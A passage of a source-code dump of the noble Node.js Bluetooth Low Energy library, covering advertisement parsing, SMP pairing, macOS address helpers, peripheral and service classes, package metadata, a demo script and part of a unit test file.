Complete List of 128-bit Service Class UUIDs 144 | for (j = 0; j < bytes.length; j += 16) { 145 | serviceUuid = bytes.slice(j, j + 16).toString('hex').match(/.{1,2}/g).reverse().join(''); 146 | if (advertisement.serviceUuids.indexOf(serviceUuid) === -1) { 147 | advertisement.serviceUuids.push(serviceUuid); 148 | } 149 | } 150 | break; 151 | 152 | case 0x08: // Shortened Local Name 153 | case 0x09: // Complete Local Name» 154 | advertisement.localName = bytes.toString('utf8'); 155 | break; 156 | 157 | case 0x0a: // Tx Power Level 158 | advertisement.txPowerLevel = bytes.readInt8(0); 159 | break; 160 | 161 | case 0x16: // Service Data, there can be multiple occurences 162 | var serviceDataUuid = bytes.slice(0, 2).toString('hex').match(/.{1,2}/g).reverse().join(''); 163 | var serviceData = bytes.slice(2, bytes.length); 164 | 165 | advertisement.serviceData.push({ 166 | uuid: serviceDataUuid, 167 | data: serviceData 168 | }); 169 | break; 170 | 171 | case 0xff: // Manufacturer Specific Data 172 | advertisement.manufacturerData = bytes; 173 | break; 174 | } 175 | 176 | i += (length + 1); 177 | } 178 | 179 | debug('advertisement = ' + JSON.stringify(advertisement, null, 0)); 180 | 181 | var connectable = (type === 0x04 && previouslyDiscovered) ? this._discoveries[address].connectable : (type !== 0x03); 182 | 183 | this._discoveries[address] = { 184 | address: address, 185 | addressType: addressType, 186 | connectable: connectable, 187 | advertisement: advertisement, 188 | rssi: rssi, 189 | count: discoveryCount, 190 | hasScanResponse: hasScanResponse 191 | }; 192 | 193 | // only report after a scan response event or more than one discovery without a scan response, so more data can be collected 194 | if (type === 0x04 || (discoveryCount > 1 && !hasScanResponse) || process.env.NOBLE_REPORT_ALL_HCI_EVENTS) { 195 | this.emit('discover', status, address, addressType, connectable, advertisement, rssi); 196 | } 197 | }; 198 | 199 | module.exports = Gap; 200 | -------------------------------------------------------------------------------- /lib/noble/lib/hci-socket/hci-status.json: -------------------------------------------------------------------------------- 1 | [ 2 | "Success", 3 | "Unknown HCI Command", 4 | "Unknown Connection Identifier", 5 | "Hardware Failure", 6 | "Page Timeout", 7 | "Authentication Failure", 8 | "PIN or Key Missing", 9 | "Memory Capacity Exceeded", 10 | "Connection Timeout", 11 | "Connection Limit Exceeded", 12 | "Synchronous Connection Limit to a Device Exceeded", 13 | "ACL Connection Already Exists", 14 | "Command Disallowed", 15 | "Connection Rejected due to Limited Resources", 16 | "Connection Rejected due to Security Reasons", 17 | "Connection Rejected due to Unacceptable BD_ADDR", 18 | "Connection Accept Timeout Exceeded", 19 | "Unsupported Feature or Parameter Value", 20 | "Invalid HCI Command Parameters", 21 | "Remote User Terminated Connection", 22 | "Remote Device Terminated due to Low Resources", 23 | "Remote Device Terminated due to Power Off", 24 | "Connection Terminated By Local Host", 25 | "Repeated Attempts", 26 | "Pairing Not Allowed", 27 | "Unknown LMP PDU", 28 | "Unsupported Remote Feature / Unsupported LMP Feature", 29 | "SCO Offset Rejected", 30 | "SCO Interval Rejected", 31 | "SCO Air Mode Rejected", 32 | "Invalid LMP Parameters / Invalid LL Parameters", 33 | "Unspecified Error", 34 | "Unsupported LMP Parameter Value / Unsupported LL Parameter Value", 35 | "Role Change Not Allowed", 36 | "LMP Response Timeout / LL Response Timeout", 37 | "LMP Error Transaction Collision", 38 | "LMP PDU Not Allowed", 39 | "Encryption Mode Not Acceptable", 40 | "Link Key cannot be Changed", 41 | "Requested QoS Not Supported", 42 | "Instant Passed", 43 | "Pairing With Unit Key Not Supported", 44 | "Different Transaction Collision", 45 | "Reserved", 46 | "QoS Unacceptable Parameter", 47 | "QoS Rejected", 48 | "Channel Classification Not Supported", 49 | "Insufficient Security", 50 | "Parameter Out Of Manadatory Range", 51 | "Reserved", 52 | "Role Switch Pending", 53 | "Reserved", 54 | "Reserved Slot Violation", 55 | "Role Switch Failed", 56 | "Extended Inquiry Response Too Large", 57 | "Secure Simple Pairing Not Supported By Host", 58 | "Host Busy - Pairing", 59 | "Connection Rejected due to No Suitable Channel Found", 60 | "Controller Busy", 61 | "Unacceptable Connection Parameters" , 62 | "Directed Advertising Timeout", 63 | "Connection Terminated due to MIC Failure", 64 | "Connection Failed to be Established", 65 | "MAC Connection Failed", 66 | "Coarse Clock Adjustment Rejected but Will Try to Adjust Using Clock Dragging" 67 | ] -------------------------------------------------------------------------------- /lib/noble/lib/hci-socket/smp.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('smp'); 2 | 3 | var events = require('events'); 4 | var util = require('util'); 5 | 6 | var crypto = require('./crypto'); 7 | 8 | var SMP_CID = 0x0006; 9 | 10 | var SMP_PAIRING_REQUEST = 0x01; 11 | var SMP_PAIRING_RESPONSE = 0x02; 12 | var SMP_PAIRING_CONFIRM = 0x03; 13 | var SMP_PAIRING_RANDOM = 0x04; 14 | var SMP_PAIRING_FAILED = 0x05; 15 | var SMP_ENCRYPT_INFO = 0x06; 16 | var SMP_MASTER_IDENT = 0x07; 17 | 18 | var Smp = function(aclStream, localAddressType, localAddress, remoteAddressType, remoteAddress) { 19 | this._aclStream = aclStream; 20 | 21 | this._iat = new Buffer([(localAddressType === 'random') ? 0x01 : 0x00]); 22 | this._ia = new Buffer(localAddress.split(':').reverse().join(''), 'hex'); 23 | this._rat = new Buffer([(remoteAddressType === 'random') ? 0x01 : 0x00]); 24 | this._ra = new Buffer(remoteAddress.split(':').reverse().join(''), 'hex'); 25 | 26 | this.onAclStreamDataBinded = this.onAclStreamData.bind(this); 27 | this.onAclStreamEndBinded = this.onAclStreamEnd.bind(this); 28 | 29 | this._aclStream.on('data', this.onAclStreamDataBinded); 30 | this._aclStream.on('end', this.onAclStreamEndBinded); 31 | }; 32 | 33 | util.inherits(Smp, events.EventEmitter); 34 | 35 | Smp.prototype.sendPairingRequest = function() { 36 | this._preq = new Buffer([ 37 | SMP_PAIRING_REQUEST, 38 | 0x03, // IO capability: NoInputNoOutput 39 | 0x00, // OOB data: Authentication data not present 40 | 0x01, // Authentication requirement: Bonding - No MITM 41 | 0x10, // Max encryption key size 42 | 0x00, // Initiator key distribution: 43 | 0x01 // Responder key distribution: EncKey 44 | ]); 45 | 46 | this.write(this._preq); 47 | }; 48 | 49 | Smp.prototype.onAclStreamData = function(cid, data) { 50 | if (cid !== SMP_CID) { 51 | return; 52 | } 53 | 54 | var code = data.readUInt8(0); 55 | 56 | if (SMP_PAIRING_RESPONSE === code) { 57 | this.handlePairingResponse(data); 58 | } else if (SMP_PAIRING_CONFIRM === code) { 59 | this.handlePairingConfirm(data); 60 | } else if (SMP_PAIRING_RANDOM === code) { 61 | this.handlePairingRandom(data); 62 | } else if (SMP_PAIRING_FAILED === code) { 63 | this.handlePairingFailed(data); 64 | } else if (SMP_ENCRYPT_INFO === code) { 65 | this.handleEncryptInfo(data); 66 | } else if (SMP_MASTER_IDENT === code) { 67 | this.handleMasterIdent(data); 68 | } 69 | }; 70 | 71 | Smp.prototype.onAclStreamEnd = function() { 72 | this._aclStream.removeListener('data', this.onAclStreamDataBinded); 73 | this._aclStream.removeListener('end', this.onAclStreamEndBinded); 74 | 75 | this.emit('end'); 76 | }; 77 | 78 | Smp.prototype.handlePairingResponse = function(data) { 79 | this._pres = data; 80 | 81 | this._tk = new Buffer('00000000000000000000000000000000', 'hex'); 82 | this._r = crypto.r(); 83 | 84 | this.write(Buffer.concat([ 85 | new Buffer([SMP_PAIRING_CONFIRM]), 86 | crypto.c1(this._tk, this._r, this._pres, this._preq, this._iat, this._ia, this._rat, this._ra) 87 | ])); 88 | }; 89 | 90 | Smp.prototype.handlePairingConfirm = function(data) { 91 | this._pcnf = data; 92 | 93 | this.write(Buffer.concat([ 94 | new Buffer([SMP_PAIRING_RANDOM]), 95 | this._r 96 | ])); 97 | }; 98 | 99 | Smp.prototype.handlePairingRandom = function(data) { 100 | var r = data.slice(1); 101 | 102 | var pcnf = Buffer.concat([ 103 | new Buffer([SMP_PAIRING_CONFIRM]), 104 | crypto.c1(this._tk, r, this._pres, this._preq, this._iat, this._ia, this._rat, this._ra) 105 | ]); 106 | 107 | if (this._pcnf.toString('hex') === pcnf.toString('hex')) { 108 | var stk = crypto.s1(this._tk, r, this._r); 109 | 110 | this.emit('stk', stk); 111 | } else { 112 | this.write(new Buffer([ 113 | SMP_PAIRING_RANDOM, 114 | SMP_PAIRING_CONFIRM 115 | ])); 116 | 117 | this.emit('fail'); 118 | } 119 | }; 120 | 121 | Smp.prototype.handlePairingFailed = function(data) { 122 | this.emit('fail'); 123 | }; 124 | 125 | Smp.prototype.handleEncryptInfo = function(data) { 126 | var ltk = data.slice(1); 127 | 128 | this.emit('ltk', ltk); 129 | }; 130 | 131 | Smp.prototype.handleMasterIdent = function(data) { 132 | var ediv = data.slice(1, 3); 133 | var rand = data.slice(3); 134 | 135 | this.emit('masterIdent', ediv, rand); 136 | }; 137 | 138 | Smp.prototype.write = function(data) { 139 | this._aclStream.write(SMP_CID, data); 140 | }; 141 | 142 | module.exports = Smp; 143 | -------------------------------------------------------------------------------- /lib/noble/lib/mac/bindings.js: -------------------------------------------------------------------------------- 1 | var os = require('os'); 2 | var osRelease = parseFloat(os.release()); 3 | 4 | if (osRelease < 13 ) { 5 | module.exports = require('./legacy'); 6 | } else if (osRelease < 14) { 7 | module.exports = require('./mavericks'); 8 | } else { 9 | module.exports = require('./yosemite'); 10 | } 11 | -------------------------------------------------------------------------------- /lib/noble/lib/mac/local-address.js: -------------------------------------------------------------------------------- 1 | var child_process = require('child_process'); 2 | 3 | function localAddress(callback) { 4 | child_process.exec('system_profiler SPBluetoothDataType', {}, function(error, stdout, stderr) { 5 | var address = null; 6 | 7 | if (!error) { 8 | var found = stdout.match(/\s+Address: (.*)/); 9 | if (found) { 10 | address = found[1].toLowerCase().replace(/-/g, ':'); 11 | } 12 | } 13 | 14 | callback(address); 15 | }); 16 | } 17 | 18 | module.exports = localAddress; 19 | -------------------------------------------------------------------------------- /lib/noble/lib/mac/uuid-to-address.js: -------------------------------------------------------------------------------- 1 | var bplist = require('bplist-parser'); 2 | 3 | module.exports = function(uuid, callback) { 4 | bplist.parseFile('/Library/Preferences/com.apple.Bluetooth.plist', function (err, obj) { 5 | if (err) { 6 | return callback(err); 7 | } else if (obj[0].CoreBluetoothCache === undefined) { 8 | return callback(new Error('Empty CoreBluetoothCache entry!')); 9 | } 10 | 11 | uuid = uuid.toUpperCase(); 12 | 13 | var formattedUuid = uuid.substring(0, 8) + '-' + 14 | uuid.substring(8, 12) + '-' + 15 | uuid.substring(12, 16) + '-' + 16 | uuid.substring(16, 20) + '-' + 17 | uuid.substring(20); 18 | 19 | var coreBluetoothCacheEntry = obj[0].CoreBluetoothCache[formattedUuid]; 20 | var address = coreBluetoothCacheEntry ? coreBluetoothCacheEntry.DeviceAddress.replace(/-/g, ':') : undefined; 21 | 22 | callback(null, address); 23 | }); 24 | }; 25 | -------------------------------------------------------------------------------- /lib/noble/lib/peripheral.js: -------------------------------------------------------------------------------- 1 | /*jshint loopfunc: true */ 2 | var debug = require('debug')('peripheral'); 3 | 4 | var events = require('events'); 5 | var util = require('util'); 6 | 7 | function Peripheral(noble, id, address, addressType, connectable, advertisement, rssi) { 8 | this._noble = noble; 9 | 10 | this.id = id; 11 | this.uuid = id; // for legacy 12 | this.address = address; 13 | this.addressType = addressType; 14 | this.connectable = connectable; 15 | this.advertisement = advertisement; 16 | this.rssi = rssi; 17 | this.services = null; 18 | this.state = 'disconnected'; 19 | } 20 | 21 | util.inherits(Peripheral, events.EventEmitter); 22 | 23 | Peripheral.prototype.toString = function() { 24 | return JSON.stringify({ 25 | id: this.id, 26 | address: this.address, 27 | addressType: this.addressType, 28 | connectable: this.connectable, 29 | advertisement: this.advertisement, 30 | rssi: this.rssi, 31 | state: this.state 32 | }); 33 | }; 34 | 35 | Peripheral.prototype.connect = function(callback) { 36 | if (callback) { 37 | this.once('connect', function(error) { 38 | callback(error); 39 | }); 40 | } 41 | 42 | if (this.state === 'connected') { 43 | this.emit('connect', new Error('Peripheral already connected')); 44 | } else { 45 | this.state = 'connecting'; 46 | this._noble.connect(this.id); 47 | } 48 | }; 49 | 50 | Peripheral.prototype.disconnect = function(callback) { 51 | if (callback) { 52 | this.once('disconnect', function() { 53 | callback(null); 54 | }); 55 | } 56 | this.state = 'disconnecting'; 57 | this._noble.disconnect(this.id); 58 | }; 59 | 60 | Peripheral.prototype.updateRssi = function(callback) { 61 | if (callback) { 62 | this.once('rssiUpdate', function(rssi) { 63 | callback(null, rssi); 64 | }); 65 | } 66 | 67 | this._noble.updateRssi(this.id); 68 | }; 69 | 70 | Peripheral.prototype.discoverServices = function(uuids, callback) { 71 | if (callback) { 72 | this.once('servicesDiscover', function(services) { 73 | callback(null, services); 74 | }); 75 | } 76 | 77 | this._noble.discoverServices(this.id, uuids); 78 | }; 79 | 80 | Peripheral.prototype.discoverSomeServicesAndCharacteristics = function(serviceUuids, characteristicsUuids, callback) { 81 | this.discoverServices(serviceUuids, function(err, services) { 82 | var numDiscovered = 0; 83 | var allCharacteristics = []; 84 | 85 | for (var i in services) { 86 | var service = services[i]; 87 | 88 | service.discoverCharacteristics(characteristicsUuids, function(error, characteristics) { 89 | numDiscovered++; 90 | 91 | if (error === null) { 92 | for (var j in characteristics) { 93 | var characteristic = characteristics[j]; 94 | 95 | allCharacteristics.push(characteristic); 96 | } 97 | } 98 | 99 | if (numDiscovered === services.length) { 100 | if (callback) { 101 | callback(null, services, allCharacteristics); 102 | } 103 | } 104 | }.bind(this)); 105 | } 106 | }.bind(this)); 107 | }; 108 | 109 | Peripheral.prototype.discoverAllServicesAndCharacteristics = function(callback) { 110 | this.discoverSomeServicesAndCharacteristics([], [], callback); 111 | }; 112 | 113 | Peripheral.prototype.readHandle = function(handle, callback) { 114 | if (callback) { 115 | this.once('handleRead' + handle, function(data) { 116 | callback(null, data); 117 | }); 118 | } 119 | 120 | this._noble.readHandle(this.id, handle); 121 | }; 122 | 123 | Peripheral.prototype.writeHandle = function(handle, data, withoutResponse, callback) { 124 | if (!(data instanceof Buffer)) { 125 | throw new Error('data must be a Buffer'); 126 | } 127 | 128 | if (callback) { 129 | this.once('handleWrite' + handle, function() { 130 | callback(null); 131 | }); 132 | } 133 | 134 | this._noble.writeHandle(this.id, handle, data, withoutResponse); 135 | }; 136 | 137 | module.exports = Peripheral; 138 | -------------------------------------------------------------------------------- /lib/noble/lib/resolve-bindings.js: -------------------------------------------------------------------------------- 1 | var os = require('os'); 2 | 3 | module.exports = function() { 4 | var platform = os.platform(); 5 | 6 | if (process.env.NOBLE_WEBSOCKET || process.title === 'browser') { 7 | return require('./websocket/bindings'); 8 | } else if (process.env.NOBLE_DISTRIBUTED) { 9 | return require('./distributed/bindings'); 10 | } else if (platform === 'darwin') { 11 | return require('./mac/bindings'); 12 | } else if (platform === 'linux' || platform === 'win32') { 13 | return require('./hci-socket/bindings'); 14 | } else { 15 | throw new Error('Unsupported platform'); 16 | } 17 | }; 18 | -------------------------------------------------------------------------------- /lib/noble/lib/service.js: -------------------------------------------------------------------------------- 1 | var debug = require('debug')('service'); 2 | 3 | var events = require('events'); 4 | var util = require('util'); 5 | 6 | var services = require('./services.json'); 7 | 8 | function Service(noble, peripheralId, uuid) { 9 | this._noble = noble; 10 | this._peripheralId = peripheralId; 11 | 12 | this.uuid = uuid; 13 | this.name = null; 14 | this.type = null; 15 | this.includedServiceUuids = null; 16 | this.characteristics = null; 17 | 18 | var service = services[uuid]; 19 | if (service) { 20 | this.name = service.name; 21 | this.type = service.type; 22 | } 23 | } 24 | 25 | util.inherits(Service, events.EventEmitter); 26 | 27 | Service.prototype.toString = function() { 28 | return JSON.stringify({ 29 | uuid: this.uuid, 30 | name: this.name, 31 | type: this.type, 32 | includedServiceUuids: this.includedServiceUuids 33 | }); 34 | }; 35 | 36 | Service.prototype.discoverIncludedServices = function(serviceUuids, callback) { 37 | if (callback) { 38 | this.once('includedServicesDiscover', function(includedServiceUuids) { 39 | callback(null, includedServiceUuids); 40 | }); 41 | } 42 | 43 | this._noble.discoverIncludedServices( 44 | this._peripheralId, 45 | this.uuid, 46 | serviceUuids 47 | ); 48 | }; 49 | 50 | Service.prototype.discoverCharacteristics = function(characteristicUuids, callback) { 51 | if (callback) { 52 | this.once('characteristicsDiscover', function(characteristics) { 53 | callback(null, characteristics); 54 | }); 55 | } 56 | 57 | this._noble.discoverCharacteristics( 58 | this._peripheralId, 59 | this.uuid, 60 | characteristicUuids 61 | ); 62 | }; 63 | 64 | module.exports = Service; 65 | -------------------------------------------------------------------------------- /lib/noble/lib/services.json: -------------------------------------------------------------------------------- 1 | { 2 | "1800" : { "name" : "Generic Access" 3 | , "type" : "org.bluetooth.service.generic_access" 4 | } 5 | , "1801" : { "name" : "Generic Attribute" 6 | , "type" : "org.bluetooth.service.generic_attribute" 7 | } 8 | , "1802" : { "name" : "Immediate Alert" 9 | , "type" : "org.bluetooth.service.immediate_alert" 10 | } 11 | , "1803" : { "name" : "Link Loss" 12 | , "type" : "org.bluetooth.service.link_loss" 13 | } 14 | , "1804" : { "name" : "Tx Power" 15 | , "type" : "org.bluetooth.service.tx_power" 16 | } 17 | , "1805" : { "name" : "Current Time Service" 18 | , "type" : "org.bluetooth.service.current_time" 19 | } 20 | , "1806" : { "name" : "Reference Time Update Service" 21 | , "type" : "org.bluetooth.service.reference_time_update" 22 | } 23 | , "1807" : { "name" : "Next DST Change Service" 24 | , "type" : "org.bluetooth.service.next_dst_change" 25 | } 26 | , "1808" : { "name" : "Glucose" 27 | , "type" : "org.bluetooth.service.glucose" 28 | } 29 | , "1809" : { "name" : "Health Thermometer" 30 | , "type" : "org.bluetooth.service.health_thermometer" 31 | } 32 | , "180a" : { "name" : "Device Information" 33 | , "type" : "org.bluetooth.service.device_information" 34 | } 35 | , "180d" : { "name" : "Heart Rate" 36 | , "type" : "org.bluetooth.service.heart_rate" 37 | } 38 | , "180e" : { "name" : "Phone Alert Status Service" 39 | , "type" : "org.bluetooth.service.phone_alert_service" 40 | } 41 | , "180f" : { "name" : "Battery Service" 42 | , "type" : "org.bluetooth.service.battery_service" 43 | } 44 | , "1810" : { "name" : "Blood Pressure" 45 | , "type" : "org.bluetooth.service.blood_pressuer" 46 | } 47 | , "1811" : { "name" : "Alert Notification Service" 48 | , "type" : "org.bluetooth.service.alert_notification" 49 | } 50 | , "1812" : { "name" : "Human Interface Device" 51 | , "type" : "org.bluetooth.service.human_interface_device" 52 | } 53 | , "1813" : { "name" : "Scan Parameters" 54 | , "type" : "org.bluetooth.service.scan_parameters" 55 | } 56 | , "1814" : { "name" : "Running Speed and Cadence" 57 | , "type" : "org.bluetooth.service.running_speed_and_cadence" 58 | } 59 | , "1815" : { "name" : "Automation IO" 60 | , "type" : "org.bluetooth.service.automation_io" 61 | } 62 | , "1816" : { "name" : "Cycling Speed and Cadence" 63 | , "type" : "org.bluetooth.service.cycling_speed_and_cadence" 64 | } 65 | , "1818" : { "name" : "Cycling Power" 66 | , "type" : "org.bluetooth.service.cycling_power" 67 | } 68 | , "1819" : { "name" : "Location and Navigation" 69 | , "type" : "org.bluetooth.service.location_and_navigation" 70 | } 71 | , "181a" : { "name" : "Environmental Sensing" 72 | , "type" : "org.bluetooth.service.environmental_sensing" 73 | } 74 | , "181b" : { "name" : "Body Composition" 75 | , "type" : "org.bluetooth.service.body_composition" 76 | } 77 | , "181c" : { "name" : "User Data" 78 | , "type" : "org.bluetooth.service.user_data" 79 | } 80 | , "181d" : { "name" : "Weight Scale" 81 | , "type" : "org.bluetooth.service.weight_scale" 82 | } 83 | , "181e" : { "name" : "Bond Management" 84 | , "type" : "org.bluetooth.service.bond_management" 85 | } 86 | , "181f" : { "name" : "Continuous Glucose Monitoring" 87 | , "type" : "org.bluetooth.service.continuous_glucose_monitoring" 88 | } 89 | , "1820" : { "name" : "Internet Protocol Support" 90 | , "type" : "org.bluetooth.service.internet_protocol_support" 91 | } 92 | } -------------------------------------------------------------------------------- /lib/noble/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "author": "Sandeep Mistry ", 3 | "license": "MIT", 4 | "name": "noble", 5 | "description": "A Node.js BLE (Bluetooth Low Energy) central library.", 6 | "version": "1.6.0", 7 | "repository": { 8 | "type": "git", 9 | "url": "https://github.com/sandeepmistry/noble.git" 10 | }, 11 | "bugs": { 12 | "url": "https://github.com/sandeepmistry/noble/issues" 13 | }, 14 | "keywords": [ 15 | "bluetooth", 16 | "BLE", 17 | "bluetooth low energy", 18 | "bluetooth smart", 19 | "central" 20 | ], 21 | "main": "./index.js", 22 | "engines": { 23 | "node": ">=0.8" 24 | }, 25 | "os": [ 26 | "darwin", 27 | "linux", 28 | "win32" 29 | ], 30 | "dependencies": { 31 | "debug": "~2.2.0" 32 | }, 33 | "optionalDependencies": { 34 | "bluetooth-hci-socket": "~0.5.0", 35 | "bplist-parser": "0.0.6", 36 | "xpc-connection": "~0.1.4" 37 | }, 38 | "devDependencies": { 39 | "jshint": "latest", 40 | "mocha": "~1.8.2", 41 | "should": "~1.2.2", 42 | "sinon": "~1.6.0", 43 | "async": "~0.2.9", 44 | "ws": "~0.4.31" 45 | }, 46 | "scripts": { 47 | "pretest": "jshint *.js lib/. test/.", 48 | "test": "mocha -R spec test/*.js" 49 | }, 50 | "browser": { 51 | "./distributed/bindings": false, 52 | "./mac/bindings": false, 53 | "./hci-socket/bindings": false 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /lib/noble/test.js: -------------------------------------------------------------------------------- 1 | var noble = require('./index'); 2 | 3 | console.log('noble'); 4 | 5 | noble.on('stateChange', function(state) { 6 | console.log('on -> stateChange: ' + state); 7 | 8 | if (state === 'poweredOn') { 9 | noble.startScanning(); 10 | } else { 11 | noble.stopScanning(); 12 | } 13 | }); 14 | 15 | noble.on('scanStart', function() { 16 | console.log('on -> scanStart'); 17 | }); 18 | 19 | noble.on('scanStop', function() { 20 | console.log('on -> scanStop'); 21 | }); 22 | 23 | 24 | 25 | noble.on('discover', function(peripheral) { 26 | console.log('on -> discover: ' + peripheral); 27 | 28 | noble.stopScanning(); 29 | 30 | peripheral.on('connect', function() { 31 | console.log('on -> connect'); 32 | this.updateRssi(); 33 | }); 34 | 35 | peripheral.on('disconnect', function() { 36 | console.log('on -> disconnect'); 37 | }); 38 | 39 | peripheral.on('rssiUpdate', function(rssi) { 40 | console.log('on -> RSSI update ' + rssi); 41 | this.discoverServices(); 42 | }); 43 | 44 | peripheral.on('servicesDiscover', function(services) { 45 | console.log('on -> peripheral services discovered ' + services); 46 | 47 | var serviceIndex = 0; 48 | 49 | services[serviceIndex].on('includedServicesDiscover', function(includedServiceUuids) { 50 | console.log('on -> service included services discovered ' + includedServiceUuids); 51 | this.discoverCharacteristics(); 52 | }); 53 | 54 | services[serviceIndex].on('characteristicsDiscover', function(characteristics) { 55 | console.log('on -> service characteristics discovered ' + characteristics); 56 | 57 | var characteristicIndex = 0; 58 | 59 | characteristics[characteristicIndex].on('read', function(data, isNotification) { 60 | console.log('on -> characteristic read ' + data + ' ' + isNotification); 61 | console.log(data); 62 | 63 | peripheral.disconnect(); 64 | }); 65 | 66 | characteristics[characteristicIndex].on('write', function() { 67 | console.log('on -> characteristic write '); 68 | 69 | peripheral.disconnect(); 70 | }); 71 | 72 | characteristics[characteristicIndex].on('broadcast', function(state) { 73 | console.log('on -> characteristic broadcast ' + state); 74 | 75 | peripheral.disconnect(); 76 | }); 77 | 78 | characteristics[characteristicIndex].on('notify', function(state) { 79 | console.log('on -> characteristic notify ' + state); 80 | 81 | peripheral.disconnect(); 82 | }); 83 | 84 | characteristics[characteristicIndex].on('descriptorsDiscover', function(descriptors) { 85 | console.log('on -> descriptors discover ' + descriptors); 86 | 87 | var descriptorIndex = 0; 88 | 89 | descriptors[descriptorIndex].on('valueRead', function(data) { 90 | console.log('on -> descriptor value read ' + data); 91 | console.log(data); 92 | peripheral.disconnect(); 93 | }); 94 | 95 | descriptors[descriptorIndex].on('valueWrite', function() { 96 | console.log('on -> descriptor value write '); 97 | peripheral.disconnect(); 98 | }); 99 | 100 | descriptors[descriptorIndex].readValue(); 101 | //descriptors[descriptorIndex].writeValue(new Buffer([0])); 102 | }); 103 | 104 | 105 | characteristics[characteristicIndex].read(); 106 | //characteristics[characteristicIndex].write(new Buffer('hello')); 107 | //characteristics[characteristicIndex].broadcast(true); 108 | //characteristics[characteristicIndex].notify(true); 109 | // characteristics[characteristicIndex].discoverDescriptors(); 110 | }); 111 | 112 | 113 | services[serviceIndex].discoverIncludedServices(); 114 | }); 115 | 116 | peripheral.connect(); 117 | }); 118 | 119 | -------------------------------------------------------------------------------- /lib/noble/test/test-characteristic.js: -------------------------------------------------------------------------------- 1 | var should = require('should'); 2 | var sinon = require('sinon'); 3 | 4 | var Characteristic = require('../lib/characteristic'); 5 | 6 | describe('Characteristic', function() { 7 | var mockNoble = null; 8 | var mockPeripheralId = 'mock-peripheral-id'; 9 | var mockServiceUuid = 'mock-service-uuid'; 10 | var mockUuid = 'mock-uuid'; 11 | var mockProperties = ['mock-property-1', 'mock-property-2']; 12 | 13 | var characteristic = null; 14 | 15 | beforeEach(function() { 16 | mockNoble = { 17 | read: sinon.spy(), 18 | write: sinon.spy(), 19 | broadcast: sinon.spy(), 20 | notify: sinon.spy(), 21 | discoverDescriptors: sinon.spy() 22 | }; 23 | 24 | characteristic = new Characteristic(mockNoble, mockPeripheralId, mockServiceUuid, mockUuid, mockProperties); 25 | }); 26 | 27 | afterEach(function() { 28 | characteristic = null; 29 | }); 30 | 31 | it('should have a uuid', function() { 32 | characteristic.uuid.should.equal(mockUuid); 33 | }); 34 | 35 | it('should lookup name and type by uuid', function() { 36 | characteristic = new Characteristic(mockNoble, mockPeripheralId, mockServiceUuid, '2a00', mockProperties); 37 | 38 | characteristic.name.should.equal('Device Name'); 39 | characteristic.type.should.equal('org.bluetooth.characteristic.gap.device_name'); 40 | }); 41 | 42 | it('should have properties', function() { 43 | characteristic.properties.should.equal(mockProperties); 44 | }); 45 | 46 | describe('toString', function() { 47 | it('should be uuid, name, type, properties', function() { 48 | characteristic.toString().should.equal('{"uuid":"mock-uuid","name":null,"type":null,"properties":["mock-property-1","mock-property-2"]}'); 49 | }); 50 | }); 51 | 52 | describe('read', function() { 53 | it('should delegate to noble', function() { 54 | characteristic.read(); 55 | 56 | mockNoble.read.calledWithExactly(mockPeripheralId, mockServiceUuid, mockUuid).should.equal(true); 57 | }); 58 | 59 | it('should callback', function() { 60 | var calledback = false; 61 | 62 | characteristic.read(function() { 63 | calledback = true; 64 | }); 65 | characteristic.emit('read'); 66 | 67 | calledback.should.equal(true); 68 | }); 69 | 70 | it('should callback with data', function() { 71 | var mockData = new Buffer(0); 72 | var callbackData = null; 73 | 74 | characteristic.read(function(error, data) { 75 | callbackData = data; 76 | }); 77 | characteristic.emit('read', mockData); 78 | 79 | callbackData.should.equal(mockData); 80 | }); 81 | }); 82 | 83 | describe('write', function() { 84 | var mockData = null; 85 | 86 | beforeEach(function() { 87 | mockData = new Buffer(0); 88 | }); 89 | 90 | it('should only accept data as a buffer', function() { 91 | mockData = {}; 92 | 93 | (function(){ 94 | characteristic.write(mockData); 95 | }).should.throwError('data must be a Buffer'); 96 | }); 97 | 98 | it('should delegate to noble, withoutResponse false', function() { 99 | characteristic.write(mockData, false); 100 | 101 | mockNoble.write.calledWithExactly(mockPeripheralId, mockServiceUuid, mockUuid, mockData, false).should.equal(true); 102 | }); 103 | 104 | it('should delegate to noble, withoutResponse true', function() { 105 | characteristic.write(mockData, true); 106 | 107 | mockNoble.write.calledWithExactly(mockPeripheralId, mockServiceUuid, mockUuid, mockData, true).should.equal(true); 108 | }); 109 | 110 | it('should callback', function() { 111 | var calledback = false; 112 | 113 | characteristic.write(mockData, true, function() { 114 | calledback = true; 115 | }); 116 | characteristic.emit('write'); 117 | 118 | calledback.should.equal(true); 119 | }); 120 | }); 121 | 122 | describe('broadcast', function() { 123 | it('should delegate to noble, true', function() { 124 | characteristic.broadcast(true); 125 | 126 | mockNoble.broadcast.calledWithExactly(mockPeripheralId, mockServiceUuid, mockUuid, true).should.equal(true); 127 | }); 128 | 129 | it('should delegate to noble, false', function() { 130 | characteristic.broadcast(false); 131 | 132 | mockNoble.broadcast.calledWithExactly(mockPeripheralId, mockServiceUuid, mockUuid, false).should.equal(true); 133 | }); 134 | 135 | it('should callback', function() { 136 | var calledback = false; 137 | 138 | characteristic.broadcast(true, function() { 139 | calledback = true; 140 | }); 141 | characteristic.emit('broadcast'); 142 | 143 | calledback.should.equal(true); 144 | }); 145 | }); 146 | 147 | describe('notify', function() { 148 | it('should delegate to noble, true', function() { 149 | characteristic.notify(true); 150 | 151 | mockNoble.notify.calledWithExactly(mockPeripheralId, mockServiceUuid, mockUuid, true).should.equal(true); 152 | }); 153 | 154 | it('should delegate to noble, false', function() { 155 | characteristic.notify(false); 156 | 157 | mockNoble.notify.calledWithExactly(mockPeripheralId, mockServiceUuid, mockUuid, false).should.equal(true); 158 | }); 159 | 160 | it('should callback', function() { 161 | var calledback = false; 162 | 163 | characteristic.notify(true, function() { 164 | calledback = true; 165 | }); 166 | characteristic.emit('notify'); 167 | 168 | calledback.should.equal(true); 169 | }); 170 | }); 171 | 172 | describe('subscribe', function() { 173 | it('should delegate to noble notify, true', function() { 174 | characteristic.subscribe(); 175 | 176 | mockNoble.notify.calledWithExactly(mockPeripheralId, mockServiceUuid, mockUuid, true).should.equal(true); 177 | }); 178 | 179 | it('should callback', function() { 180 | var calledback = false; 181 | 182 | characteristic.subscribe(function() { 183 | calledback = true; 184 | }); 185 | characteristic.emit('notify'); 186 | 187 | calledback.should.equal(true); 188 | }); 189 | }); 190 | 191 | describe('unsubscribe', function() { 192 | it('should delegate to noble notify, false', function() { 193 | 